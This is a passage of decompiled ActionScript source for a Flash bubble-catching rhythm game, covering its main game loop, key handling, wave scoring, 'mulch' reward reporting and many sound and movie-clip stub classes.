private var myGameTimer:GameTimer;
private var holderMC:MovieClip;
private var _gamePlayScreen:MovieClip;
private var gameScoring:GameScore;
private var playerFinalScore:int;
private var amountOfLevels:int;
private var scoreToAdd:int;
private var _levelSpeed:int;
private var _resultScreen:MovieClip;
private var _scoreScreenFinal:MovieClip;
protected var themeChannel:SoundChannel;
private var _PerBubbles:PerBubbles;
private var _introScr:MovieClip;
private var _instructions:MovieClip;
private var currentLevel:int;
protected var themeTransform:SoundTransform;
private var resultObject:Object;
private var currentKeyPress:Number;
protected var theme:Sound;
private var _gameTimeLength:int;
private var _scoreScreen:MovieClip;
public function Main():void{
trace("Main instantiated");
initGame();
squashMe();
holderMC = MovieClip(this.parent).getHolderMC();
trace("Main knows holder is:", holderMC);
}
private function getCurrentLevel():String{
var _local1:String;
_local1 = ("wave" + currentLevel);
return (_local1);
}
public function displayTotalResults():void{
removeChild(_scoreScreenFinal);
_resultScreen = new resultScreen_mc();
playerFinalScore = gameScoring.getWaveTotalScore();
_resultScreen.mulch_txt.text = getMulchEarned(playerFinalScore);
earnMulch(playerFinalScore);
addChild(_resultScreen);
if (playerFinalScore < 10){
doEndSound(false);
} else {
doEndSound(true);
};
_resultScreen.playAgain_btn.addEventListener(MouseEvent.MOUSE_DOWN, cleanUpAfterGames, false, 0, true);
}
private function onKeyboardEventDown(_arg1:KeyboardEvent):void{
stage.removeEventListener(KeyboardEvent.KEY_DOWN, onKeyboardEventDown);
stage.addEventListener(KeyboardEvent.KEY_UP, onKeyboardEventUp);
switch (_arg1.keyCode){
case Keyboard.DOWN:
trace("key down");
checkHitTest(1);
break;
case Keyboard.LEFT:
trace("key left");
checkHitTest(0);
break;
case Keyboard.RIGHT:
trace("key right");
checkHitTest(3);
break;
case Keyboard.UP:
trace("key up");
checkHitTest(2);
break;
};
}
private function checkMissedBubbles():void{
gameScoring.updateBubblesMissed();
}
private function cleanUpAfterGames(_arg1:Event):void{
SoundMixer.stopAll();
trace("clean Up");
removeChild(_resultScreen);
initGame();
}
public function earnMulch(_arg1:uint):void{
if (holderMC != null){
holderMC.traceOut(("\nmainMC.earnMulch" + _arg1));
holderMC.sendToDB("earnMulch", _arg1, true, ["userID"]);
};
}
private function playTheGame():void{
_gamePlayScreen = new gamePlayScreen_mc();
_gamePlayScreen.daddy = this;
addChild(_gamePlayScreen);
_gamePlayScreen.gamePlayMessages.stop();
if (currentLevel == 1){
gameScoring = new GameScore();
};
gameScoring.init(_gamePlayScreen, levelTimeOut);
gameScoring.resetScore();
initMainGame();
}
private function slideIntroScreenOut(_arg1:Event):void{
Tweener.addTween(_introScr, {alpha:0, time:1, transition:"easeOut", onComplete:initMainGamePlay});
}
private function checkBubbleTest(_arg1:Number, _arg2:Number, _arg3:MovieClip):Object{
var _local4:Number;
var _local5:int;
_local4 = _arg2;
if (_local4 == currentKeyPress){
switch (_arg2){
case 0:
playSound("ding1");
break;
case 1:
playSound("ding2");
break;
case 2:
playSound("ding3");
break;
case 3:
playSound("ding1");
break;
};
_local5 = Math.abs(Math.round((_gamePlayScreen.hitArea_mc.y - _arg1)));
if (_local5 < (_gamePlayScreen.hitArea_mc.height / 3)){
scoreToAdd = 5;
} else {
if ((((_local5 > (_gamePlayScreen.hitArea_mc.height / 3))) && ((_local5 < ((_gamePlayScreen.hitArea_mc.height / 3) * 2))))){
scoreToAdd = 3;
} else {
if (_local5 > ((_gamePlayScreen.hitArea_mc.height / 3) * 2)){
scoreToAdd = 1;
};
};
};
resultObject.resultHit = true;
resultObject.score = scoreToAdd;
} else {
resultObject.resultHit = false;
};
return (resultObject);
}
private function initMainGamePlay(_arg1:Event=null):void{
if (getChildByName("introScreen") != null){
_introScr.play_btn.removeEventListener(MouseEvent.MOUSE_DOWN, initMainGamePlay);
_introScr.howToPlay_btn.removeEventListener(MouseEvent.MOUSE_DOWN, instructionsScreen);
removeChild(getChildByName("introScreen"));
};
if (getChildByName("instructions_mc") != null){
_instructions.play_btn.removeEventListener(MouseEvent.MOUSE_DOWN, initMainGamePlay);
removeChild(getChildByName("instructions_mc"));
};
playTheGame();
}
private function initMainGame():void{
_gamePlayScreen.gamePlayWaveMessages.gotoAndPlay(getCurrentLevel());
_PerBubbles = new PerBubbles(_gamePlayScreen, _levelSpeed, checkBubbleTest, checkMissedBubbles);
addChild(_PerBubbles);
_PerBubbles.init();
myGameTimer = new GameTimer(_gamePlayScreen, _gameTimeLength, levelTimeOut);
myGameTimer.startClock();
startTheme();
keyBoardEvents();
}
private function instructionsScreen(_arg1:Event):void{
_introScr.howToPlay_btn.removeEventListener(MouseEvent.MOUSE_DOWN, instructionsScreen);
removeChild(_introScr);
_instructions = new howToPlayScreen_mc();
_instructions.name = "instructions_mc";
_instructions.play_btn.addEventListener(MouseEvent.MOUSE_DOWN, initMainGamePlay);
addChild(_instructions);
}
protected function startTheme():void{
theme = (new theme_loop() as Sound);
themeChannel = theme.play();
themeTransform = themeChannel.soundTransform;
themeTransform.volume = 0.3;
themeChannel.soundTransform = themeTransform;
themeChannel.addEventListener(Event.SOUND_COMPLETE, themeCompleteHandler);
}
private function playBonusFlopAnimation():void{
completeBonusFlopAnimations();
}
private function displayWaveResults():void{
removeChild(_PerBubbles);
removeChild(_gamePlayScreen);
_scoreScreen = new scoreScreen_mc();
_scoreScreen.daddy = this;
addChild(_scoreScreen);
_scoreScreen.waveScoreTxt_mc.waveScore_txt.text = String(gameScoring.getWaveScores(currentLevel));
currentLevel++;
_levelSpeed--;
}
private function checkHitTest(_arg1:Number):void{
currentKeyPress = _arg1;
if ((((((((((currentKeyPress == 0)) || ((currentKeyPress == 1)))) || ((currentKeyPress == 2)))) || ((currentKeyPress == 3)))) || ((currentKeyPress == 10)))){
if (resultObject.resultHit == true){
gameScoring.increaseScore(scoreToAdd);
resultObject.resultHit = false;
};
};
}
protected function doEndSound(_arg1:Boolean):void{
if (_arg1){
playSound("applausecheers");
playSound("fanfare");
} else {
playSound("mutedtrumpetwahwah");
playSound("awww");
};
}
private function playWobblyAnimation():void{
}
public function keysOff():void{
trace("keyboard events turned off");
stage.removeEventListener(KeyboardEvent.KEY_DOWN, onKeyboardEventDown);
stage.removeEventListener(KeyboardEvent.KEY_UP, onKeyboardEventUp);
}
private function initGameVaribles():void{
_gameTimeLength = 60000;
amountOfLevels = 3;
currentLevel = 1;
playerFinalScore = 0;
_levelSpeed = 5;
resultObject = new Object();
resultObject.resultHit = false;
}
protected function themeCompleteHandler(_arg1:Event):void{
themeChannel = theme.play();
themeTransform = themeChannel.soundTransform;
themeTransform.volume = 0.3;
themeChannel.soundTransform = themeTransform;
themeChannel.addEventListener(Event.SOUND_COMPLETE, themeCompleteHandler);
}
protected function stopTheme():void{
themeChannel.stop();
}
private function displayFinalScoreResults():void{
_scoreScreenFinal = new scoreScreenFinal_mc();
_scoreScreenFinal.daddy = this;
addChild(_scoreScreenFinal);
_scoreScreenFinal.finalScoreText_mc.wave1Score_txt.text = gameScoring.getWaveScores(1);
_scoreScreenFinal.finalScoreText_mc.wave2Score_txt.text = gameScoring.getWaveScores(2);
_scoreScreenFinal.finalScoreText_mc.wave3Score_txt.text = gameScoring.getWaveScores(3);
_scoreScreenFinal.finalScoreText_mc.waveTotalScore_txt.text = gameScoring.getWaveTotalScore();
}
public function fadeOutScoreScreen():void{
removeChild(_scoreScreen);
if (currentLevel < (amountOfLevels + 1)){
playTheGame();
} else {
displayFinalScoreResults();
};
}
private function onKeyboardEventUp(_arg1:KeyboardEvent):void{
checkHitTest(10);
stage.addEventListener(KeyboardEvent.KEY_DOWN, onKeyboardEventDown);
}
override protected function initGame():void{
visible = true;
initGameVaribles();
introScreen();
}
private function levelTimeOut(_arg1:int):void{
gameScoring.setWaveScores(currentLevel);
switch (_arg1){
case 0:
playWobblyAnimation();
break;
case 1:
_PerBubbles.stopBubbleFlow();
_PerBubbles.destroyBubbles();
nextWaveInit();
break;
case 3:
_PerBubbles.stopBubbleFlow();
playBonusFlopAnimation();
_PerBubbles.destroyBubbles();
break;
};
}
private function squashMe():void{
MovieClip(this).scaleX = (611 / 600);
MovieClip(this).scaleY = (365 / 400);
}
public function keyBoardEvents():void{
trace("keyboard events init");
trace(stage);
stage.addEventListener(KeyboardEvent.KEY_DOWN, onKeyboardEventDown);
}
private function nextWaveInit():void{
myGameTimer.stopClock();
stopTheme();
Tweener.addTween(_gamePlayScreen, {alpha:0, time:4, transition:"linear", onComplete:displayWaveResults});
}
public function getMulchEarned(_arg1):uint{
if (holderMC != null){
return (holderMC.calculateMulch(_arg1));
};
return (_arg1);
}
private function introScreen(_arg1:Event=null):void{
_introScr = new introScreen_mc();
_introScr.name = "introScreen";
_introScr.howToPlay_btn.addEventListener(MouseEvent.MOUSE_DOWN, instructionsScreen);
_introScr.play_btn.addEventListener(MouseEvent.MOUSE_DOWN, slideIntroScreenOut);
addChild(_introScr);
}
public function completeBonusFlopAnimations():void{
gameScoring.setWaveScores(currentLevel);
nextWaveInit();
}
}
}//package com
Section 15
//PerBubbles (com.PerBubbles)
package com {
import flash.display.*;
import flash.events.*;
import caurina.transitions.*;
import flash.utils.*;
public class PerBubbles extends MovieClip {
private var bubbleFinishHorizontalSpacing:int;
private var _yPosfinish:int;
private var _hitArea_mc:MovieClip;
private var _returnedObject:Object;
private var _rivalsScoreFunction:Function;
private var bubbleTimer:Timer;
private var bubbleLevelTime:int;
private var bubblesOnStageArray:Array;
private var _bubbleCheckNeeded:Boolean;
private var _xPosStart:int;
private var _yPosStart:int;
private var _iconsHolder:MovieClip;
private var bubble:bubble_mc;
private var _callUpFunc:Function;
private var _levelSpeed:int;
private var _checkMissedBubbles:Function;
private var _checkMadKeyHits:Function;
private var _gameHolder:MovieClip;
private var bubbleStartHorizontalSpacing:int;
private var _xPosfinish:int;
private var amountOfLines:int;
public function PerBubbles(_arg1:MovieClip, _arg2:int, _arg3:Function, _arg4:Function){
_gameHolder = _arg1;
_iconsHolder = _gameHolder.iconsHolder;
_levelSpeed = _arg2;
_hitArea_mc = _gameHolder.hitArea_mc;
_callUpFunc = _arg3;
_checkMissedBubbles = _arg4;
_yPosStart = 104;
_xPosStart = 238;
_yPosfinish = 389;
_xPosfinish = 143;
_bubbleCheckNeeded = true;
bubbleLevelTime = 800;
bubbleTimer = new Timer(bubbleLevelTime);
bubbleStartHorizontalSpacing = 39;
bubbleFinishHorizontalSpacing = 98;
amountOfLines = 3;
bubblesOnStageArray = new Array();
_returnedObject = new Object();
}
public function init():void{
addBubbles();
}
public function destroyBubbles():void{
var _local1:int;
var _local2:MovieClip;
trace("detroy the bubblesssssssssssssssssssssssssssssssssssss");
_local1 = (bubblesOnStageArray.length - 1);
while (_local1 >= 0) {
_local2 = bubblesOnStageArray[_local1];
_local2.removeEventListener(Event.ENTER_FRAME, doBubbleCheck);
_iconsHolder.removeChild(_local2);
bubblesOnStageArray.pop();
_local1--;
};
trace("bubblesOnStageArray.length is", bubblesOnStageArray.length);
GlobalVarContainer.vars.mainMC.keysOff();
}
public function turnOnBubbleCheck():void{
_bubbleCheckNeeded = true;
}
public function startBubbleFlow():void{
bubbleTimer.start();
}
private function doBubbleCheck(_arg1:Event):void{
var _local2:MovieClip;
_local2 = MovieClip(_arg1.target);
if (!_bubbleCheckNeeded){
_local2.alpha = 0;
return;
};
_local2.alpha = 1;
if (_local2.hitTestObject(_hitArea_mc)){
_returnedObject = _callUpFunc(_local2.y, _local2.id, _local2);
if (_returnedObject.resultHit){
dispplayScorePoint(_local2, _returnedObject.score);
_local2.possitiveHit = true;
_local2.gotoAndPlay("hit");
_local2.removeEventListener(Event.ENTER_FRAME, doBubbleCheck);
};
} else {
if ((((_local2.y > _hitArea_mc.y)) && (!(_local2.possitiveHit)))){
_local2.possitiveHit = false;
if (_bubbleCheckNeeded){
_checkMissedBubbles();
};
_local2.removeEventListener(Event.ENTER_FRAME, doBubbleCheck);
};
};
}
public function stopBubbleFlow():void{
bubbleTimer.stop();
}
private function addBubbles():void{
bubbleTimer.start();
bubbleTimer.addEventListener(TimerEvent.TIMER, createBubbles);
}
private function dispplayScorePoint(_arg1:MovieClip, _arg2:int):void{
var _local3:MovieClip;
_local3 = new jellyPoints_mc();
_local3.text_mc.point_txt.text = String(_arg2);
_local3.x = _arg1.x;
_local3.y = _arg1.y;
addChild(_local3);
}
public function turnOffBubbleCheck():void{
_bubbleCheckNeeded = false;
}
private function createBubbles(_arg1:TimerEvent){
var _rnd:Number;
var e = _arg1;
trace("creating a bubble");
_rnd = Math.round((Math.random() * amountOfLines));
bubble = new bubble_mc();
bubble.stop();
bubble.id = _rnd;
bubble.possitiveHit = false;
bubble.x = (_xPosStart + (bubbleStartHorizontalSpacing * _rnd));
bubble.y = _yPosStart;
bubble.alpha = 0;
bubble.daddy = this;
bubble.scaleX = (bubble.scaleY = 0.3);
_iconsHolder.addChild(bubble);
bubblesOnStageArray.push(bubble);
Tweener.addTween(bubble, {y:_yPosfinish, x:(_xPosfinish + (bubbleFinishHorizontalSpacing * _rnd)), scaleX:1, scaleY:1, time:_levelSpeed, transition:"easeInQuad", onComplete:function (){
if (_gameHolder.getChildByName(this.name) != null){
bubblesOnStageArray.shift();
_iconsHolder.removeChild(this);
};
}});
bubble.addEventListener(Event.ENTER_FRAME, doBubbleCheck);
}
}
}//package com
Section 16
//gamePlayMessages_20 (guitar_hero_fla.gamePlayMessages_20)
package guitar_hero_fla {
import flash.display.*;
public dynamic class gamePlayMessages_20 extends MovieClip {
public function gamePlayMessages_20(){
addFrameScript(0, frame1, 63, frame64, 126, frame127, 189, frame190, 252, frame253, 315, frame316);
}
function frame316(){
stop();
}
function frame64(){
stop();
}
function frame1(){
stop();
}
function frame190(){
stop();
}
function frame127(){
stop();
}
function frame253(){
stop();
}
}
}//package guitar_hero_fla
Section 17
//gamePlayWaveMessages_33 (guitar_hero_fla.gamePlayWaveMessages_33)
package guitar_hero_fla {
import flash.display.*;
public dynamic class gamePlayWaveMessages_33 extends MovieClip {
public function gamePlayWaveMessages_33(){
addFrameScript(1, frame2, 64, frame65, 126, frame127, 186, frame187);
}
function frame65(){
stop();
}
function frame187(){
stop();
}
function frame2(){
stop();
}
function frame127(){
stop();
}
}
}//package guitar_hero_fla
Section 18
//jellyFishPoints_52 (guitar_hero_fla.jellyFishPoints_52)
package guitar_hero_fla {
import flash.display.*;
import flash.text.*;
public dynamic class jellyFishPoints_52 extends MovieClip {
public var point_txt:TextField;
}
}//package guitar_hero_fla
Section 19
//loadermc_1 (guitar_hero_fla.loadermc_1)
package guitar_hero_fla {
import flash.display.*;
import flash.text.*;
public dynamic class loadermc_1 extends MovieClip {
public var pc_txt:TextField;
public var timeline_mc:MovieClip;
}
}//package guitar_hero_fla
Section 20
//MC_score_txt_44 (guitar_hero_fla.MC_score_txt_44)
package guitar_hero_fla {
import flash.display.*;
public dynamic class MC_score_txt_44 extends MovieClip {
public function MC_score_txt_44(){
addFrameScript(0, frame1);
}
function frame1(){
}
}
}//package guitar_hero_fla
Section 21
//MC_score_txt_number_43 (guitar_hero_fla.MC_score_txt_number_43)
package guitar_hero_fla {
import flash.display.*;
import flash.text.*;
public dynamic class MC_score_txt_number_43 extends MovieClip {
public var waveScore_txt:TextField;
}
}//package guitar_hero_fla
Section 22
//MC_score_txt_number_49 (guitar_hero_fla.MC_score_txt_number_49)
package guitar_hero_fla {
import flash.display.*;
import flash.text.*;
public dynamic class MC_score_txt_number_49 extends MovieClip {
public var wave3Score_txt:TextField;
public var waveTotalScore_txt:TextField;
public var wave1Score_txt:TextField;
public var wave2Score_txt:TextField;
}
}//package guitar_hero_fla
Section 23
//scoreText_mc_38 (guitar_hero_fla.scoreText_mc_38)
package guitar_hero_fla {
import flash.display.*;
import flash.text.*;
public dynamic class scoreText_mc_38 extends MovieClip {
public var score_txt:TextField;
}
}//package guitar_hero_fla
Section 24
//soundlinkages_53 (guitar_hero_fla.soundlinkages_53)
package guitar_hero_fla {
import flash.display.*;
public dynamic class soundlinkages_53 extends MovieClip {
public function soundlinkages_53(){
addFrameScript(0, frame1);
}
function frame1(){
stop();
}
}
}//package guitar_hero_fla
Section 25
//timelineloadprogress_2 (guitar_hero_fla.timelineloadprogress_2)
package guitar_hero_fla {
import flash.display.*;
public dynamic class timelineloadprogress_2 extends MovieClip {
public function timelineloadprogress_2(){
addFrameScript(0, frame1);
}
function frame1(){
stop();
}
}
}//package guitar_hero_fla
Section 26
//timeText_mc_40 (guitar_hero_fla.timeText_mc_40)
package guitar_hero_fla {
import flash.display.*;
import flash.text.*;
public dynamic class timeText_mc_40 extends MovieClip {
public var timer_txt:TextField;
}
}//package guitar_hero_fla
Section 27
//applausecheers (applausecheers)
package {
import flash.media.*;
public dynamic class applausecheers extends Sound {
}
}//package
Section 28
//awww (awww)
package {
import flash.media.*;
public dynamic class awww extends Sound {
}
}//package
Section 29
//bells (bells)
package {
import flash.media.*;
public dynamic class bells extends Sound {
}
}//package
Section 30
//bleep (bleep)
package {
import flash.media.*;
public dynamic class bleep extends Sound {
}
}//package
Section 31
//bubble_mc (bubble_mc)
package {
import flash.display.*;
public dynamic class bubble_mc extends MovieClip {
public function bubble_mc(){
addFrameScript(0, frame1, 7, frame8);
}
function frame1(){
stop();
}
function frame8(){
stop();
}
}
}//package
Section 32
//bubbles (bubbles)
package {
import flash.media.*;
public dynamic class bubbles extends Sound {
}
}//package
Section 33
//buzz3 (buzz3)
package {
import flash.media.*;
public dynamic class buzz3 extends Sound {
}
}//package
Section 34
//ding1 (ding1)
package {
import flash.media.*;
public dynamic class ding1 extends Sound {
}
}//package
Section 35
//ding2 (ding2)
package {
import flash.media.*;
public dynamic class ding2 extends Sound {
}
}//package
Section 36
//ding3 (ding3)
package {
import flash.media.*;
public dynamic class ding3 extends Sound {
}
}//package
Section 37
//fanfare (fanfare)
package {
import flash.media.*;
public dynamic class fanfare extends Sound {
}
}//package
Section 38
//gamePlayScreen_mc (gamePlayScreen_mc)
package {
import flash.display.*;
public dynamic class gamePlayScreen_mc extends MovieClip {
public var timeText_mc:MovieClip;
public var iconsHolder:MovieClip;
public var hitArea_mc:MovieClip;
public var gamePlayMessages:MovieClip;
public var gamePlayWaveMessages:MovieClip;
public var scoreText_mc:MovieClip;
}
}//package
Section 39
//gasp (gasp)
package {
import flash.media.*;
public dynamic class gasp extends Sound {
}
}//package
Section 40
//gong (gong)
package {
import flash.media.*;
public dynamic class gong extends Sound {
}
}//package
Section 41
//howToPlayScreen_mc (howToPlayScreen_mc)
package {
import flash.display.*;
public dynamic class howToPlayScreen_mc extends MovieClip {
public var play_btn:MovieClip;
}
}//package
Section 42
//introScreen_mc (introScreen_mc)
package {
import flash.display.*;
public dynamic class introScreen_mc extends MovieClip {
public var howToPlay_btn:MovieClip;
public var play_btn:MovieClip;
}
}//package
Section 43
//jellyPoints_mc (jellyPoints_mc)
package {
import flash.display.*;
public dynamic class jellyPoints_mc extends MovieClip {
public var text_mc:MovieClip;
public function jellyPoints_mc(){
addFrameScript(7, frame8);
}
function frame8(){
stop();
this.parent.removeChild(this);
}
}
}//package
Section 44
//mutedtrumpetwahwah (mutedtrumpetwahwah)
package {
import flash.media.*;
public dynamic class mutedtrumpetwahwah extends Sound {
}
}//package
Section 45
//pop2 (pop2)
package {
import flash.media.*;
public dynamic class pop2 extends Sound {
}
}//package
Section 46
//resultScreen_mc (resultScreen_mc)
package {
import flash.display.*;
import flash.text.*;
public dynamic class resultScreen_mc extends MovieClip {
public var playAgain_btn:MovieClip;
public var mulch_txt:TextField;
}
}//package
Section 47
//scoreScreen_mc (scoreScreen_mc)
package {
import flash.display.*;
import flash.events.*;
import caurina.transitions.*;
import flash.text.*;
import flash.utils.*;
import flash.media.*;
import adobe.utils.*;
import flash.accessibility.*;
import flash.errors.*;
import flash.external.*;
import flash.filters.*;
import flash.geom.*;
import flash.net.*;
import flash.printing.*;
import flash.system.*;
import flash.ui.*;
import flash.xml.*;
public dynamic class scoreScreen_mc extends MovieClip {
public var waveScoreTxt_mc:MovieClip;
public var continue_btn:MovieClip;
public function scoreScreen_mc(){
addFrameScript(36, frame37, 59, frame60, 116, frame117);
}
public function playOn(_arg1:MouseEvent=null){
play();
Tweener.addTween(continue_btn, {scaleX:0.1, scaleY:0.1, alpha:0, time:1, transition:"easeIn"});
continue_btn.removeEventListener(MouseEvent.CLICK, playOn);
}
function frame117(){
stop();
this.daddy.fadeOutScoreScreen();
}
function frame37(){
continue_btn.scaleX = (continue_btn.scaleY = 0.1);
continue_btn.alpha = 0;
Tweener.addTween(continue_btn, {scaleX:1, scaleY:1, alpha:1, time:1, transition:"easeIn"});
}
function frame60(){
stop();
continue_btn.addEventListener(MouseEvent.CLICK, playOn);
}
}
}//package
Section 48
//scoreScreenFinal_mc (scoreScreenFinal_mc)
package {
import flash.display.*;
import flash.events.*;
import caurina.transitions.*;
import flash.text.*;
import flash.utils.*;
import flash.media.*;
import adobe.utils.*;
import flash.accessibility.*;
import flash.errors.*;
import flash.external.*;
import flash.filters.*;
import flash.geom.*;
import flash.net.*;
import flash.printing.*;
import flash.system.*;
import flash.ui.*;
import flash.xml.*;
public dynamic class scoreScreenFinal_mc extends MovieClip {
public var finalScoreText_mc:MovieClip;
public var continue_btn:MovieClip;
public function scoreScreenFinal_mc(){
addFrameScript(36, frame37, 59, frame60, 116, frame117);
}
public function playOn(_arg1:MouseEvent=null){
play();
Tweener.addTween(continue_btn, {scaleX:0.1, scaleY:0.1, alpha:0, time:1, transition:"easeIn"});
continue_btn.removeEventListener(MouseEvent.CLICK, playOn);
}
function frame117(){
stop();
this.daddy.displayTotalResults();
}
function frame37(){
continue_btn.scaleX = (continue_btn.scaleY = 0.1);
continue_btn.alpha = 0;
Tweener.addTween(continue_btn, {scaleX:1, scaleY:1, alpha:1, time:1, transition:"easeIn"});
}
function frame60(){
stop();
continue_btn.addEventListener(MouseEvent.CLICK, playOn);
}
}
}//package
Section 49
//splashheavy (splashheavy)
package {
import flash.media.*;
public dynamic class splashheavy extends Sound {
}
}//package
Section 50
//splashlight (splashlight)
package {
import flash.media.*;
public dynamic class splashlight extends Sound {
}
}//package
Section 51
//splashlight2 (splashlight2)
package {
import flash.media.*;
public dynamic class splashlight2 extends Sound {
}
}//package
Section 52
//switchclick (switchclick)
package {
import flash.media.*;
public dynamic class switchclick extends Sound {
}
}//package
Section 53
//theme_loop (theme_loop)
package {
import flash.media.*;
public dynamic class theme_loop extends Sound {
}
}//package
Section 54
//tricky (tricky)
package {
import flash.media.*;
public dynamic class tricky extends Sound {
}
}//package